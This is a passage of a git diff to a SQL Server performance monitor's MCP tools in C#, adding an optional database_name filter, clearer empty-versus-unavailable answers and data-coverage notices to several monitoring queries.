-        [Description("Server name or display name.")] string? server_name = null)
+        [Description("Server name or display name.")] string? server_name = null,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null)
     {
         var (resolved, error) = ServerResolver.ResolveOrError(serverManager, server_name);
         if (error != null) return error;
 
         try
         {
-            var rows = await dataService.GetLatestFileIoStatsAsync(resolved.ServerId);
+            /* #5244: database_name appended LAST (H1). A blank is "no filter"; any other value is kept exactly (no trim). The filter is
+               on the newest capture's ROWS, so captured_at is the server's whatever the filter, and every answer says which database it
+               was limited to (the database_name echo), as Darling's twin does. */
+            var names = string.IsNullOrWhiteSpace(database_name) ? null : new[] { database_name };
+            var echo = McpDatabaseSelection.Describe(names);
+            var rows = await dataService.GetLatestFileIoStatsAsync(resolved.ServerId, names);
             if (rows.Count == 0)
             {
-                return await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "file_io_stats")
-                    ?? McpHelpers.Status("unavailable", "No file I/O stats available.");
+                /* A filtered read whose newest capture exists but holds none of the chosen database is empty, not unavailable
+                   ("nothing was ever collected"): the probe is the same newest-capture read, unfiltered. */
+                if (names != null && await dataService.GetLatestFileIoStatsAsync(resolved.ServerId) is { Count: > 0 } capture)
+                {
+                    return McpHelpers.StatusForDatabase("empty",
+                        $"The newest file I/O snapshot for {resolved.ServerName} (captured_at {capture[0].CollectionTime:o}) holds no files{McpDatabaseSelection.ForChosen(names)}. "
+                        + "The name must match a collected database exactly; omit database_name for every database.",
+                        echo);
+                }
+
+                return McpHelpers.WithDatabase(
+                           await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "file_io_stats"),
+                           echo)
+                    ?? McpHelpers.StatusForDatabase("unavailable", "No file I/O stats available.", echo);
             }
 
             var result = rows.Select(r => new
@@ -57,6 +75,7 @@ tools hand theirs. 0 means no delta on this row was knowable (first sighting, co
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
+                database_name = echo,
                 /* #3541 A10: every file row shares this stamp (the read is every file at MAX(collection_time)). */
                 captured_at = rows[0].CollectionTime.ToString("o"),
                 files = result
@@ -96,7 +115,9 @@ because it depends on how many lines there are to draw. */
                bucketed read charts exactly the series the ranking counted. The desktop chart's own read
                (GetFileIoLatencyTrendAsync) is ALSO bucketed now (#4234), to its own per-call budget — a
                separate read, on a separate clock, from this tool's ranking-driven GetFileIoTrendAsync. */
-            var scope = string.IsNullOrWhiteSpace(database_name) ? null : database_name.Trim();
+            /* #5244: a blank is "every database" and any other value is kept exactly, never trimmed, so a padded name matches nothing, as on
+               Darling (its twin stopped trimming in the same change, one rule for the whole filter family). */
+            var scope = string.IsNullOrWhiteSpace(database_name) ? null : database_name;
             var series = await dataService.GetFileIoSeriesAsync(resolved.ServerId, hours_back, asOfUtc: windowEnd, scope);
 
             if (series.Count == 0)
@@ -105,7 +126,9 @@ bucketed read charts exactly the series the ranking counted. The desktop chart's
                    The quiet-window sentence carries one extra clause the others do not need: the ranking
                    counts only series that read or wrote, so a genuinely idle file set is empty here even on a
                    server whose file_io_stats collector ran every cycle. */
-                var gated = await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "file_io_stats");
+                /* #5244: every answer shape says which database it was limited to (null for every database), as Darling's twin does. */
+                var gated = McpHelpers.WithDatabase(
+                    await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "file_io_stats"), scope);
                 if (gated != null)
                 {
                     return gated;
@@ -116,16 +139,16 @@ server whose file_io_stats collector ran every cycle. */
                 /* A scoped read that found nothing is first a question about the NAME — Darling's twin's rule. */
                 if (scope is not null && everCollected)
                 {
-                    return McpHelpers.Status("empty", TrendPayloads.FileIoScopeEmptyMessage(resolved.ServerName, scope, hours_back));
+                    return McpHelpers.StatusForDatabase("empty", TrendPayloads.FileIoScopeEmptyMessage(resolved.ServerName, scope, hours_back), scope);
                 }
 
                 return everCollected
-                    ? McpHelpers.Status(
+                    ? McpHelpers.StatusForDatabase(
                         "empty",
-                        $"No file I/O samples recorded for {resolved.ServerName} in the last {hours_back} hour(s). This server HAS collected file I/O stats before, so this window is genuinely quiet rather than broken — widen hours_back, or read it as no measurable read or write activity on any file in this window.")
-                    : McpHelpers.Status(
+                        $"No file I/O samples recorded for {resolved.ServerName} in the last {hours_back} hour(s). This server HAS collected file I/O stats before, so this window is genuinely quiet rather than broken — widen hours_back, or read it as no measurable read or write activity on any file in this window.", scope)
+                    : McpHelpers.StatusForDatabase(
                         "unavailable",
-                        $"No file I/O stats have EVER been recorded for {resolved.ServerName}. This is not an empty window — the file_io_stats collector has stored nothing at all for this server. Check that collection is running and that the server is enabled; get_file_io_stats will be equally empty until it does.");
+                        $"No file I/O stats have EVER been recorded for {resolved.ServerName}. This is not an empty window — the file_io_stats collector has stored nothing at all for this server. Check that collection is running and that the server is enabled; get_file_io_stats will be equally empty until it does.", scope);
             }
 
             var budget = TrendBudget.Mcp(TrendBuckets.FileIoMaxPoints);
diff --git a/Lite/Mcp/McpJobTools.cs b/Lite/Mcp/McpJobTools.cs
index ac99be8e0b..ba4d81eeae 100644
--- a/Lite/Mcp/McpJobTools.cs
+++ b/Lite/Mcp/McpJobTools.cs
@@ -30,7 +30,8 @@ inside LocalDataService because the WPF grids read the same rows and render them
                two together would fix one by breaking the other. */
             var serverClock = await McpServerLocalWindow.ClockForAsync(dataService, resolved.ServerId);
 
-            var rows = await dataService.GetRunningJobsAsync(resolved.ServerId);
+            var read = await dataService.ReadRunningJobsAsync(resolved.ServerId);
+            var rows = read.Jobs;
             if (rows.Count == 0)
             {
                 return await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "running_jobs")
@@ -48,6 +49,12 @@ and the collector's own recorded PERMISSIONS outcome answers first. */
                     ?? await McpRuntimePrecondition.GatedOffStatusAsync(
                         dataService, resolved.ServerId, resolved.ServerName, "running_jobs",
                         CollectorRuntimePrecondition.RunningJobsPossibleCauses)
+                    /* The freshness bound (#1812): the collector's last good collection is older than three missed cycles, so
+                       "no jobs found" would be a claim about now that the store cannot back (an offline server, a lost msdb
+                       login or a switched-off collector all look like this). It says when collection last worked. */
+                    ?? (read.LastGoodCollection is DateTime lastGood
+                        ? McpHelpers.Status("unavailable", PerformanceMonitor.Alerting.RunningJobsCurrency.NotCurrentNote(lastGood))
+                        : null)
                     ?? McpHelpers.Status("empty", "No running SQL Agent jobs found (or collector has not run yet).");
             }
 
diff --git a/Lite/Mcp/McpLongQueryTools.cs b/Lite/Mcp/McpLongQueryTools.cs
index 7741401f9f..d3b963b535 100644
--- a/Lite/Mcp/McpLongQueryTools.cs
+++ b/Lite/Mcp/McpLongQueryTools.cs
@@ -11,7 +11,7 @@ namespace PerformanceMonitorLite.Mcp;
 /// Lite twin of Darling's <see cref="PerformanceMonitor.Darling.Service.Mcp.DarlingMcpLongQueryTools"/>,
 /// field-for-field, so the cross-app MCP inventory stays in parity. Returns the longest completed queries
 /// (rpc/batch over the trace's duration threshold) plus attentions (cancels/timeouts) from the opt-in
-/// PerformanceMonitor_LongQueryCompletions XE session, ordered by duration DESC.
+/// PerformanceMonitor_Lite_{id}_LongQueryCompletions XE session this install makes, ordered by duration DESC.
 /// </summary>
 [McpServerToolType]
 public sealed class McpLongQueryTools
@@ -23,7 +23,8 @@ public static async Task<string> GetLongQueryCompletions(
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history. Default 24.")] int hours_back = 24,
         [Description("Maximum rows to return, slowest first. Default 30. This is what bounds the page — read truncated to know whether the window held more.")] int limit = 30,
-        [Description(McpHelpers.AsOfDescription)] string? as_of = null)
+        [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null)
     {
         var (resolved, error) = ServerResolver.ResolveOrError(serverManager, server_name);
         if (error != null) return error;
@@ -44,21 +45,53 @@ public static async Task<string> GetLongQueryCompletions(
                 SKUs now serve, from a duration-ranked read with the caller's limit + 1 as the fetch and the
                 extra row as the observed truncation signal.
             */
-            var rows = await dataService.GetSlowestLongQueryCompletionsAsync(resolved.ServerId, hours_back, asOfUtc: windowEnd, limit: limit + 1);
+            /* #5244: database_name appended LAST (H1); blank or whitespace is every database. The predicate rides the raw rows,
+               before the duration ranking and the limit + 1 fetch, so the page is the slowest N of the chosen database. */
+            var database = string.IsNullOrWhiteSpace(database_name) ? null : database_name;
+            var rows = await dataService.GetSlowestLongQueryCompletionsAsync(resolved.ServerId, hours_back, asOfUtc: windowEnd, limit: limit + 1,
+                databaseNames: database == null ? null : new[] { database });
             if (rows.Count == 0)
             {
-                return await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "long_query_completions")
+                /* #5244 round 2 (L2): not_collected and precondition echo database_name like every other shape. */
+                var unmet = McpHelpers.WithDatabase(
+                    await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "long_query_completions"), database)
                     /* #2546: this collector is opt-in, so the fall-through below already sends the reader to
-                       the schedule — which is the wrong place when the collector IS enabled and its session
+                       the schedule, which is the wrong place when the collector IS enabled and its session
                        is missing. The precondition answer names that state instead of quietly blaming a knob
                        that is already switched on. */
-                    ?? await McpRuntimePrecondition.StatusAsync(dataService, resolved.ServerId, resolved.ServerName, "long_query_completions")
-                    ?? McpHelpers.Status("empty", "No long-running query completions found in the specified time range. The long_query_completions collector is opt-in (default OFF) — enable it in the collector schedule to capture data.");
+                    ?? McpHelpers.WithDatabase(
+                        await McpRuntimePrecondition.StatusAsync(dataService, resolved.ServerId, resolved.ServerName, "long_query_completions"), database);
+                if (unmet != null)
+                {
+                    return unmet;
+                }
+
+                var emptyNotice = await McpQueryTools.EventWindowNoticeAsync(
+                    () => dataService.GetQueryWindowFloorAsync(QueryWindowRelation.LongQueryCompletions, resolved.ServerId, windowEnd.AddHours(-hours_back), windowEnd),
+                    null, windowEnd.AddHours(-hours_back), windowEnd, "long_query_completions", emptyAnswer: true);
+                /* #5244 round 2 (L3): the twin of Darling's. The floor probe is not database-filtered, so a null floor (no effective_start)
+                   means the store holds no long-query row for this server in the window, and only then does the answer send the reader to
+                   the opt-in switch; with rows for other databases the collector is on. */
+                var collectorMayBeOff = database == null || emptyNotice.EffectiveStart is null;
+                return McpHelpers.StatusForDatabase("empty",
+                    "No long-running query completions found in the specified time range" + McpBlockingTools.ForChosenDatabase(database)
+                        + (collectorMayBeOff ? ". The long_query_completions collector is opt-in (default OFF) — enable it in the collector schedule to capture data." : "."),
+                    database, /* #5244 review L2: the echo rides on an empty answer too */
+                    emptyNotice.AsHints());
             }
 
             var truncated = rows.Count > limit;
             var page = truncated ? rows.Take(limit).ToList() : rows;
 
+            /* #4966: where this server's long_query_completions data starts for the window. An event list, so the floor is the
+               earlier of the coverage probe and the oldest event the page shows. The page is the slowest N, so its oldest
+               event depends on limit; that cannot make a false notice, as the helper only moves the floor earlier and a
+               first run reads back 10 minutes, well inside the 90-minute slack. */
+            var requestedStart = windowEnd.AddHours(-hours_back);
+            var notice = await McpQueryTools.EventWindowNoticeAsync(
+                () => dataService.GetQueryWindowFloorAsync(QueryWindowRelation.LongQueryCompletions, resolved.ServerId, requestedStart, windowEnd),
+                page.Min(r => r.EventTime), requestedStart, windowEnd, "long_query_completions");
+
             var result = page
                 .Select(r => new
                 {
@@ -73,7 +106,7 @@ that is already switched on. */
                     result = r.Result,
                     database_name = r.DatabaseName,
                     object_name = r.ObjectName,
-                    statement = McpHelpers.Truncate(r.StatementText, 2000),
+                    statement = McpHelpers.TruncateStatement(r.StatementText, 2000),
                     session_id = r.SessionId,
                     client_app_name = r.ClientAppName,
                     client_pid = r.ClientPid,
@@ -86,12 +119,21 @@ that is already switched on. */
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: where the store's data starts, always present (false and null when the store covered the
+                   window). The floor is the earlier of the coverage probe and the oldest event this page shows: a
+                   first run of the collector can store events from before itself. No effective_hours_back: this
+                   payload carries a page `truncated`, and the census holds that key apart for the window floor. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
+                /* #5244: which database the page is limited to: the name for one, null for all (the twin of Darling's database_name echo). */
+                database_name = database,
                 /* #3541 A3: the page described as a page, on Darling's names. Under a duration RANKING the
                    two stamps bound the slowest runs, not the reach — the description says so. */
                 completions_returned = page.Count,
                 truncated,
-                oldest_returned_event_time = page.Min(r => r.EventTime)?.ToString("o"),
-                newest_returned_event_time = page.Max(r => r.EventTime)?.ToString("o"),
+                oldest_returned_event_time = McpHelpers.FormatEffectiveStart(page.Min(r => r.EventTime)),
+                newest_returned_event_time = McpHelpers.FormatEffectiveStart(page.Max(r => r.EventTime)),
                 order = "duration_ms_desc",
                 completions = result
             }, McpHelpers.JsonOptions);
diff --git a/Lite/Mcp/McpMemoryTools.cs b/Lite/Mcp/McpMemoryTools.cs
index 2992d1fbf6..e3c1caf82c 100644
--- a/Lite/Mcp/McpMemoryTools.cs
+++ b/Lite/Mcp/McpMemoryTools.cs
@@ -219,13 +219,29 @@ public static async Task<string> GetMemoryPressureEvents(
             if (rows.Count == 0)
             {
                 return await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "memory_pressure_events")
-                    ?? McpHelpers.Status("empty", "No memory pressure events found in the requested time range.");
+                    ?? McpHelpers.Status("empty", "No memory pressure events found in the requested time range.",
+                        (await McpQueryTools.WindowNoticeAsync(
+                            () => dataService.GetQueryWindowFloorAsync(QueryWindowRelation.MemoryPressureEvents, resolved.ServerId, windowEnd.AddHours(-hours_back), windowEnd),
+                            windowEnd.AddHours(-hours_back), windowEnd, "memory_pressure_events", emptyAnswer: true)).AsHints());
             }
 
+            /* #4966: where this server's memory_pressure_events data starts for the window. The list is windowed on sample_time,
+               the ring-buffer event's own time, which can sit before the first run that stored it, and the probe reads that same
+               column beside the collector's runs (QueryWindowRelationTimeColumn), so the oldest event shown can never be older
+               than the probe's floor: the plain notice, not the event-time form. */
+            var requestedStart = windowEnd.AddHours(-hours_back);
+            var notice = await McpQueryTools.WindowNoticeAsync(
+                () => dataService.GetQueryWindowFloorAsync(QueryWindowRelation.MemoryPressureEvents, resolved.ServerId, requestedStart, windowEnd),
+                requestedStart, windowEnd, "memory_pressure_events");
+
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: always present (false and null when the store covered the window). No effective_hours_back, as on the other window-floor payloads. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 events = rows.Select(r => new
                 {
                     sample_time = r.SampleTime.ToString("o"),
diff --git a/Lite/Mcp/McpObjectStatsTools.cs b/Lite/Mcp/McpObjectStatsTools.cs
index 4620fd8c0c..79a26d1a6f 100644
--- a/Lite/Mcp/McpObjectStatsTools.cs
+++ b/Lite/Mcp/McpObjectStatsTools.cs
@@ -33,7 +33,8 @@ public sealed class McpObjectStatsTools
     public static async Task<string> GetTableIndexSizes(
         LocalDataService dataService,
         ServerManager serverManager,
-        [Description("Server name or display name.")] string? server_name = null)
+        [Description("Server name or display name.")] string? server_name = null,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null)
     {
         var (resolved, error) = ServerResolver.ResolveOrError(serverManager, server_name);
         if (error != null) return error;
@@ -41,11 +42,29 @@ public static async Task<string> GetTableIndexSizes(
         try
         {
             /* Over-fetch by one so truncation is observed, not inferred from a full page (#3541 A3's rule). */
-            var rows = await dataService.GetObjectSizeGrowthAsync(resolved.ServerId, TableSizesTop + 1);
+            /* #5244: database_name appended LAST (H1). A blank is "no filter"; any other value is kept exactly (no trim). The cap and the
+               over-fetch row follow the filter, so the page is the largest tables of the chosen database; the history block stays the
+               server's own span. */
+            var names = string.IsNullOrWhiteSpace(database_name) ? null : new[] { database_name };
+            var rows = await dataService.GetObjectSizeGrowthAsync(resolved.ServerId, TableSizesTop + 1, names);
             if (rows.Count == 0)
             {
-                return await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "index_object_stats")
-                    ?? McpHelpers.Status("unavailable", "No object size data available. Index/object stats are collected daily.");
+                /* A filter that matches no table is a different answer from a server that collects no index stats (Darling's twin
+                   words it the same, minus the count of the server's other rows, which Lite has no read for). */
+                if (names != null && (await dataService.GetObjectSizeGrowthAsync(resolved.ServerId, 1)).Count > 0)
+                {
+                    return McpHelpers.StatusForDatabase("empty",
+                        $"No table size rows for {McpDatabaseSelection.Scope(names)} on {resolved.ServerName} at the latest snapshot, "
+                        + "though the server has index rows in its other databases. Check the database name against get_database_sizes: "
+                        + "the filter matches exactly, and an excluded or renamed database looks identical to one with no tables.",
+                        McpDatabaseSelection.Describe(names));
+                }
+
+                /* #5244: every answer shape says which database it was limited to (null for every database). */
+                return McpHelpers.WithDatabase(
+                           await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "index_object_stats"),
+                           McpDatabaseSelection.Describe(names))
+                    ?? McpHelpers.StatusForDatabase("unavailable", "No object size data available. Index/object stats are collected daily.", McpDatabaseSelection.Describe(names));
             }
 
             var truncated = rows.Count > TableSizesTop;
@@ -83,6 +102,7 @@ public static async Task<string> GetTableIndexSizes(
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
+                database_name = McpDatabaseSelection.Describe(names),
                 history = new
                 {
                     earliest_snapshot = span.EarliestSnapshotTime.ToString("o"),
@@ -239,7 +259,8 @@ public static async Task<string> GetObjectLocking(
         LocalDataService dataService,
         ServerManager serverManager,
         [Description("Server name or display name.")] string? server_name = null,
-        [Description("Maximum rows to return. Default 75.")] int limit = ObjectLockingTop)
+        [Description("Maximum rows to return. Default 75.")] int limit = ObjectLockingTop,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null)
     {
         var (resolved, error) = ServerResolver.ResolveOrError(serverManager, server_name);
         if (error != null) return error;
@@ -252,16 +273,57 @@ public static async Task<string> GetObjectLocking(
             /* #4198: limit + 1 as the fetch, the extra row as the OBSERVED truncation signal (#3653's
                dialect) -- McpHelpers.BoundPage trims the page back to `limit`, so objects_returned below is
                always a count of the page and never of the over-fetch. Darling's twin mirrors this. */
-            var fetched = await dataService.GetIndexLockingAsync(resolved.ServerId, limit + 1);
+            /* #5231: database_name appended LAST (#5244 H1). GetIndexLockingAsync already filters on one
+               name (the FinOps tab's picker), so the argument is passed straight through; a blank is "no
+               filter", the same reading get_index_usage gives it. */
+            var database = string.IsNullOrWhiteSpace(database_name) ? null : database_name;
+            var fetched = await dataService.GetIndexLockingAsync(resolved.ServerId, limit + 1, database);
             var (rows, truncated) = McpHelpers.BoundPage(fetched, limit);
 
-            var optimizedLockingNote = await dataService.GetOptimizedLockingNoteAsync(resolved.ServerId);
+            /* #5372 M2: with a database chosen the optimized-locking note covers only that database, as Darling's
+               twin does, so the same call carries the note in both apps or in neither. */
+            var optimizedLockingNote = await dataService.GetOptimizedLockingNoteAsync(resolved.ServerId, database);
+            var inScope = database is null ? "" : $" in database '{database}'";
 
             if (rows.Count == 0)
             {
-                return await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "index_object_stats")
-                    ?? McpHelpers.Status("unavailable",
-                        "No locking/contention data recorded. Index/object stats are collected daily."
+                /* #5372 M2: a chosen database with no contention is a DIFFERENT answer from a server with none (the
+                   server instructions: `empty` is "looked, found nothing", `unavailable` is "could have it, does
+                   not"), so a filtered empty read looks at the whole server once (limit 1, the same anchor), the
+                   probe get_index_usage runs above and Darling's twin runs. */
+                if (database is not null
+                    && (await dataService.GetIndexLockingAsync(resolved.ServerId, 1)).Count > 0)
+                {
+                    return McpHelpers.Status("empty",
+                        $"No lock/latch contention{inScope} on {resolved.ServerName} at the latest snapshot, though other databases on "
+                        + "the server have some. Check the database name against get_database_sizes "
+                        + "— the filter matches exactly, and an excluded or renamed database looks identical to one with no contention."
+                        + (optimizedLockingNote is null ? "" : " " + optimizedLockingNote),
+                        optimizedLockingNote is null ? null : new { optimized_locking_note = optimizedLockingNote });
+                }
+
+                var notCollected = await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "index_object_stats");
+                if (notCollected is not null) return notCollected;
+
+                /* #5372 (r2 Low): a latest snapshot that holds index rows, none of them contended, is a TRUE negative:
+                   the collector looked and found nothing, so the word is `empty` (the server instructions' "looked,
+                   found nothing"). `unavailable` is kept for a server with no snapshot at all, data it could have
+                   and does not have now. The same sentence shape as Darling's twin. */
+                if ((await dataService.GetIndexUsageMatchCountAsync(resolved.ServerId)) > 0)
+                {
+                    return McpHelpers.Status("empty",
+                        "No lock/latch contention"
+                        + (database is null ? "" : $"{inScope} or in any other database")
+                        + $" on {resolved.ServerName} at the latest snapshot."
+                        + (optimizedLockingNote is null ? "" : " " + optimizedLockingNote),
+                        optimizedLockingNote is null ? null : new { optimized_locking_note = optimizedLockingNote });
+                }
+
+                return McpHelpers.Status("unavailable",
+                        (database is null
+                            ? "No locking/contention data recorded."
+                            : $"No locking/contention data recorded for database '{database}', or for any other database on this server.")
+                        + " Index/object stats are collected daily."
                         + (optimizedLockingNote is null ? "" : " " + optimizedLockingNote),
                         optimizedLockingNote is null ? null : new { optimized_locking_note = optimizedLockingNote });
             }
@@ -299,11 +361,11 @@ always a count of the page and never of the over-fetch. Darling's twin mirrors t
                 /* #4198: no separate match-count query (unlike get_index_usage) -- BoundPage's over-fetch
                    only OBSERVES "more than limit", not how many more, so the note says that and no more. */
                 note = truncated
-                    ? $"TRUNCATED: more than {rows.Count:N0} indexes have lock/latch contention at the latest "
+                    ? $"TRUNCATED: more than {rows.Count:N0} indexes have lock/latch contention{inScope} at the latest "
                       + "snapshot. Rows are ordered by total wait time (row lock + page lock + page latch + "
                       + "page I/O latch) descending, so the highest-contention indexes are returned first; "
                       + "raise limit to see more."
-                    : "Complete: every index with lock/latch contention at the latest snapshot is included.",
+                    : $"Complete: every index with lock/latch contention{inScope} at the latest snapshot is included.",
                 optimized_locking_note = optimizedLockingNote,
                 separately_monitored_note = PerformanceMonitorLite.Analysis.SeparatelyMonitoredScope.ListNote(resolved.ServerId),
                 objects = result
diff --git a/Lite/Mcp/McpPlanCorrectionTools.cs b/Lite/Mcp/McpPlanCorrectionTools.cs
index eb50ef8ad9..65e272e26c 100644
--- a/Lite/Mcp/McpPlanCorrectionTools.cs
+++ b/Lite/Mcp/McpPlanCorrectionTools.cs
@@ -40,7 +40,8 @@ public static async Task<string> GetPlanCorrections(
         [Description("Hours of history. Default 24.")] int hours_back = 24,
         [Description("Maximum recommendation rows to return, newest capture first. Default 25. This is what bounds the page - read truncated to know whether the window held more.")] int limit = 25,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
-        [Description("Return each row's full query_text instead of a 150-character preview. Default false.")] bool full_text = false)
+        [Description("Return each row's full query_text instead of a 150-character preview. Default false.")] bool full_text = false,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null)
     {
         var (resolved, error) = ServerResolver.ResolveOrError(serverManager, server_name);
         if (error != null) return error;
@@ -53,23 +54,45 @@ public static async Task<string> GetPlanCorrections(
             var limitError = McpHelpers.ValidateTop(limit);
             if (limitError != null) return limitError;
 
-            var tuning = await dataService.GetLatestAutomaticTuningAsync(resolved.ServerId);
+            /* #5244: database_name appended LAST (H1); blank or whitespace is every database. BOTH layers narrow to it, as Darling's
+               twin does: the recommendation rows before the page cut (so limit counts the chosen database's rows) and the
+               automatic-tuning snapshot, whose MAX(collection_time) anchor stays whole in the reader. */
+            var database = string.IsNullOrWhiteSpace(database_name) ? null : database_name;
+            var databaseNames = database == null ? null : new[] { database };
+            var tuning = await dataService.GetLatestAutomaticTuningAsync(resolved.ServerId, databaseNames);
             /* #3541 A3: the caller's limit + 1 as the fetch, the extra row as the observed truncation
                signal. The reader's LIMIT 200 over per-cycle re-captures gave every window the same ~16-hour
                reach, and `total_recommendations` published that page as the window's count. */
-            var rows = await dataService.GetPlanCorrectionsAsync(resolved.ServerId, hours_back, asOfUtc: windowEnd, limit: limit + 1);
+            var rows = await dataService.GetPlanCorrectionsAsync(resolved.ServerId, hours_back, asOfUtc: windowEnd, limit: limit + 1, databaseNames: databaseNames);
             var truncated = rows.Count > limit;
             var page = truncated ? rows.Take(limit).ToList() : rows;
 
             if (tuning.Count == 0 && rows.Count == 0)
             {
-                return await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "plan_correction")
-                    ?? McpHelpers.Status("empty",
-                        "No plan correction data collected for this server. The collector runs against SQL Server 2017+ " +
+                return McpHelpers.WithDatabase(await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "plan_correction"), database)
+                    ?? McpHelpers.StatusForDatabase("empty",
+                        /* #5244: a filtered empty is a verdict about the chosen database only, the same words as Darling's twin. */
+                        database != null
+                            ? $"No plan correction data found{McpBlockingTools.ForChosenDatabase(database)}."
+                            : "No plan correction data collected for this server. The collector runs against SQL Server 2017+ " +
                         "(sys.dm_db_tuning_recommendations); a server that has never produced a row here either predates " +
-                        "that or has no databases with Query Store on.");
+                        "that or has no databases with Query Store on.",
+                        database, /* #5244 review L2: the echo rides on an empty answer too */
+                        (await McpQueryTools.WindowNoticeAsync(
+                            () => dataService.GetQueryWindowFloorAsync(QueryWindowRelation.PlanCorrection, resolved.ServerId, windowEnd.AddHours(-hours_back), windowEnd),
+                            windowEnd.AddHours(-hours_back), windowEnd, "plan_correction", emptyAnswer: true)).AsHints());
             }
 
+            /* #4966: where this server's plan_correction data starts for the window. The rows are re-captures stamped with the
+               run's own collection_time, which is the column the probe reads, so the plain notice fits (no event-time form). A
+               page of recommendations that is empty beside an automatic-tuning snapshot is still an empty list: it is probed
+               whatever the window's length, so it cannot be read as "nothing was recommended" over a window nothing covered. The
+               page cut (limit, newest first) is `truncated`; this is the separate window floor. */
+            var requestedStart = windowEnd.AddHours(-hours_back);
+            var notice = await McpQueryTools.WindowNoticeAsync(
+                () => dataService.GetQueryWindowFloorAsync(QueryWindowRelation.PlanCorrection, resolved.ServerId, requestedStart, windowEnd),
+                requestedStart, windowEnd, "plan_correction", emptyAnswer: false, listOnly: rows.Count == 0);
+
             var recommendations = page.Select(r => new
             {
                 collection_time = r.CollectionTime.ToString("o"),
@@ -101,7 +124,7 @@ beside it. */
                 execute_action_initiated_time = r.ExecuteActionInitiatedTime?.ToString("o"),
                 revert_action_initiated_by = r.RevertActionInitiatedBy,
                 revert_action_initiated_time = r.RevertActionInitiatedTime?.ToString("o"),
-                query_text = full_text ? r.QueryText : McpHelpers.Truncate(r.QueryText, QueryTextPreviewLength),
+                query_text = full_text ? r.QueryText : McpHelpers.TruncateStatement(r.QueryText, QueryTextPreviewLength),
                 query_text_truncated = !full_text && r.QueryText != null && r.QueryText.Length > QueryTextPreviewLength,
             });
 
@@ -109,6 +132,13 @@ beside it. */
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: always present (false and null when the store covered the window). No effective_hours_back: this payload
+                   carries a page `truncated`, and the census holds that key apart for the window floor. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
+                /* #5244: which database the page is limited to: the name for one, null for all (the twin of Darling's database_name echo). */
+                database_name = database,
                 automatic_tuning = tuning.Select(t => new
                 {
                     database_name = t.DatabaseName,
@@ -122,8 +152,9 @@ beside it. */
                    held no recommendation rows and only the tuning snapshot answered. */
                 recommendations_returned = page.Count,
                 truncated,
-                oldest_returned_collection_time = page.Count == 0 ? null : page.Min(r => r.CollectionTime).ToString("o"),
-                newest_returned_collection_time = page.Count == 0 ? null : page.Max(r => r.CollectionTime).ToString("o"),
+                /* #4966: where the page's rows stop describes the window it covers, so it prints like effective_start (UTC, with the Z), and so does the newest bound (#5015); the rows' own times stay as the store holds them. */
+                oldest_returned_collection_time = page.Count == 0 ? null : McpHelpers.FormatEffectiveStart(page.Min(r => r.CollectionTime)),
+                newest_returned_collection_time = page.Count == 0 ? null : McpHelpers.FormatEffectiveStart(page.Max(r => r.CollectionTime)),
                 order = "collection_time_desc",
                 recommendations,
             }, McpHelpers.JsonOptions);
diff --git a/Lite/Mcp/McpPlanTools.cs b/Lite/Mcp/McpPlanTools.cs
index 7ca57f29c7..4a2e3cbde6 100644
--- a/Lite/Mcp/McpPlanTools.cs
+++ b/Lite/Mcp/McpPlanTools.cs
@@ -15,6 +15,72 @@ namespace PerformanceMonitorLite.Mcp;
 [McpServerToolType]
 public sealed class McpPlanTools
 {
+    /// <summary>
+    /// #4348: said when the statement filter withheld a plan whole, so the analysis is skipped instead of reading the
+    /// placeholder as XML and reporting a parse error. Worded once for the four analysis tools.
+    /// </summary>
+    internal const string WithheldPlanMessage = "This plan was withheld by the statement filter (#4348), so it was not analysed.";
+
+    /// <summary>
+    /// Where the <c>get_plan_xml</c> tool cuts a plan for transport (500 KB of characters, the "Truncated at 500KB" in its
+    /// description). #4348: the same number goes to the plan read, so the statement filter stops walking a very large plan
+    /// once nothing before the cut can change, and <see cref="McpHelpers.Truncate"/> then cuts the FILTERED plan, never the
+    /// raw one (a cut plan is not well-formed XML, and a half-cut statement is no longer one the filter can name).
+    /// </summary>
+    internal const int PlanXmlOutputChars = 512_000;
+
+    /// <summary>
+    /// #4348, Layer 1: the one place a stored plan is read for an MCP tool. Every plan read in this file goes through
+    /// one of the three methods below, so the plan a tool holds is the FILTERED plan whatever it does next (return it,
+    /// cut it, analyse it); nothing else in this file calls the plan reads on <see cref="LocalDataService"/> (a source
